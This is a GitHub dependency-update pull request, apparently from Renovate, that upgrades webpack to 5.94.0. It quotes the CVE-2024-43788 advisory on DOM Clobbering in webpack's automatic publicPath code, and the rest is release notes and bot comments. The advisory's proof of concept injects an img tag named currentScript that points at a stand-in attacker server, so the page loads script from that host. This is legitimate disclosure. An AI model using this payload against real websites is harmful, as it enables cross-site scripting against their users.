chore(deps): update dependency webpack to v5.94.0 [security] #108

renovate · 2024-08-31T03:58:23Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
webpack	`5.89.0` -> `5.94.0`

GitHub Vulnerability Alerts

CVE-2024-43788

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });

// import1.js
export function hello () {
  console.log('Hello');
}

The webpack.config.js is set up as follows:

const path = require('path');

module.exports = {
  entry: './entry.js', // Ensure the correct path to your entry file
  output: {
    filename: 'webpack-gadgets.bundle.js', // Output bundle file
    path: path.resolve(__dirname, 'dist'), // Output directory
    publicPath: "auto", // Or leave this field not set
  },
  target: 'web',
  mode: 'development',
};

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

Release Notes

webpack/webpack (webpack)

Bug Fixes

Correct tidle range's comutation for module federation
Consider runtime for pure expression dependency update hash
Return value in the subtractRuntime function for runtime logic
Fixed failed to resolve promise when eager import a dynamic cjs
Avoid generation extra code for external modules when remapping is not required
The css/global type now handles the exports name
Avoid hashing for @keyframe and @property at-rules in css/global type
Fixed mangle with destructuring for JSON modules
The stats.hasWarnings() method now respects the ignoreWarnings option
Fixed ArrayQueue iterator
Correct behavior of __webpack_exports_info__.a.b.canMangle
Changed to the correct plugin name for the CommonJsChunkFormatPlugin plugin
Set the chunkLoading option to the import when environment is unknown and output is module
Fixed when runtimeChunk has no exports when module chunkFormat used
[CSS] Fixed parsing minimized CSS import
[CSS] URLs in CSS files now have correct public path
[CSS] The css module type should not allow parser to switch mode
[Types] Improved context module types

New Features

Added platform target properties to compiler
Improved multi compiler cache location and validating it
Support import attributes spec (with keyword)
Support node: prefix for Node.js core modules in runtime code
Support prefetch/preload for module chunk format
Support "..." in the importsFields option for resolver
Root module is less prone to be wrapped in IIFE
Export InitFragment class for plugins
Export compileBooleanMatcher util for plugins
Export InputFileSystem and OutputFileSystem types
[CSS] Support the esModule generator option for CSS modules
[CSS] Support CSS when chunk format is module

`v5.91.0`

Compare Source

Bug Fixes

Deserializer for ignored modules doesn't crash
Allow the unsafeCache option to be a proxy object
Normalize the snapshot.unmanagedPaths option
Fixed fs types
Fixed resolve's plugins types
Fixed wrongly calculate postOrderIndex
Fixed watching types
Output import attrbiutes/import assertions for external JS imports
Throw an error when DllPlugin needs to generate multiple manifest files, but the path is the same
[CSS] Output layer/supports/media for external CSS imports

New Features

Allow to customize the stage of BannerPlugin
[CSS] Support CSS exports convention
[CSS] support CSS local ident name
[CSS] Support __webpack_nonce__ for CSS chunks
[CSS] Support fetchPriority for CSS chunks
[CSS] Allow to use LZW to compress css head meta (enabled in the production mode by default)
[CSS] Support prefetch/preload for CSS chunks

`v5.90.3`

Compare Source

Bug Fixes

don't mangle when destructuring a reexport
types for Stats.toJson() and Stats.toString()
many internal types
[CSS] clean up export css local vars

Perf

simplify and optimize chunk graph creation

`v5.90.2`

Compare Source

Bug Fixes

use Math.imul in fnv1a32 to avoid loss of precision, directly hash UTF16 values
the setStatus() of the HMR module should not return an array, which may cause infinite recursion
__webpack_exports_info__.xxx.canMangle shouldn't always same as default
mangle export with destructuring
use new runtime to reconsider skipped connections activeState
make dynamic import optional in try/catch
improve auto publicPath detection

Dependencies & Maintenance

improve CI setup and include Node.js@21

`v5.90.1`

Compare Source

Bug Fixes

set unmanagedPaths in defaults
correct preOrderIndex and postOrderIndex
add fallback for MIME mismatch error in async wasm loading
browsers versions of ECMA features

Performance

optimize compareStringsNumeric
optimize numberHash using 32-bit FNV1a for small ranges, 64-bit for larger
reuse VM context across webpack magic comments

`v5.90.0`

Compare Source

Bug Fixes

Fixed inner graph for classes
Optimized RemoveParentModulesPlugin via bigint arithmetic
Fixed worklet detection in production mode
Fixed an error for cyclic importModule
Fixed types for Server and Dirent
Added the fetchPriority to hmr runtime's ensureChunk function
Don't warn about dynamic import for build dependencies
External module generation respects the output.environment.arrowFunction option
Fixed consumimng shared runtime module logic
Fixed a runtime logic of multiple chunks
Fixed destructing assignment of dynamic import json file
Passing errors array for a module hash
Added /*#__PURE__*/ to generated JSON.parse()
Generated a library manifest after clean plugin
Fixed non amd externals and amd library
Fixed a bug in SideEffectsFlagPlugin with namespace re-exports
Fixed an error message for condition or
The strictModuleErrorHandling is now working
Clean up child compilation chunk graph to avoid memory leak
[CSS] - Fixed CSS import prefer relative resolution
[CSS] - Fixed CSS runtime chunk loading error message

New Features

Allow to set false for dev server in webpack.config.js
Added a warning for async external when not supported
Added a warning for async module when not supported
Added the node-module option for the node.__filename/__dirname and enable it by default for ESM target
Added the snapshot.unmanagedPaths option
Exposed the MultiCompilerOptions type
[CSS] - Added CSS parser options to enable/disable named exports
[CSS] - Moved CSS the exportsOnly option to CSS generator options

Dependencies & Maintenance

use node.js LTS version for lint
bump actions/cache from 3 to 4
bump prettier from 3.2.1 to 3.2.3
bump assemblyscript
bump actions/checkout from 3 to 4

Full Changelog: webpack/webpack@v5.89.0...v5.90.0

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate · 2024-08-31T03:58:24Z

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.

Branch has one or more failed status checks

sonarcloud · 2024-09-05T07:03:16Z

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarCloud

renovate bot changed the title ~~chore(deps): update dependency webpack to v5.94.0 [security]~~ chore(deps): update dependency webpack to v5.94.0 [security] - autoclosed Sep 3, 2024

renovate bot closed this Sep 3, 2024

renovate bot deleted the renovate/npm-webpack-vulnerability branch September 3, 2024 16:05

renovate bot restored the renovate/npm-webpack-vulnerability branch September 5, 2024 07:02

renovate bot changed the title ~~chore(deps): update dependency webpack to v5.94.0 [security] - autoclosed~~ chore(deps): update dependency webpack to v5.94.0 [security] Sep 5, 2024

renovate bot reopened this Sep 5, 2024

chore(deps): update dependency webpack to v5.94.0 [security]

3fd2058

renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 147850c to 3fd2058 Compare September 5, 2024 07:02

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency webpack to v5.94.0 [security] #108

chore(deps): update dependency webpack to v5.94.0 [security] #108

renovate bot commented Aug 31, 2024 •

edited

Loading

renovate bot commented Aug 31, 2024

sonarcloud bot commented Sep 5, 2024

chore(deps): update dependency webpack to v5.94.0 [security] #108

Are you sure you want to change the base?

chore(deps): update dependency webpack to v5.94.0 [security] #108

Conversation

renovate bot commented Aug 31, 2024 • edited Loading

GitHub Vulnerability Alerts

Summary

Details

Backgrounds

Gadgets found in Webpack

PoC

Impact

Patch

Release Notes

Bug Fixes

New Features

Bug Fixes

New Features

Bug Fixes

Perf

Bug Fixes

Dependencies & Maintenance

Bug Fixes

Performance

Bug Fixes

New Features

Dependencies & Maintenance

Configuration

renovate bot commented Aug 31, 2024

Branch automerge failure

sonarcloud bot commented Sep 5, 2024

Quality Gate passed

renovate bot commented Aug 31, 2024 •

edited

Loading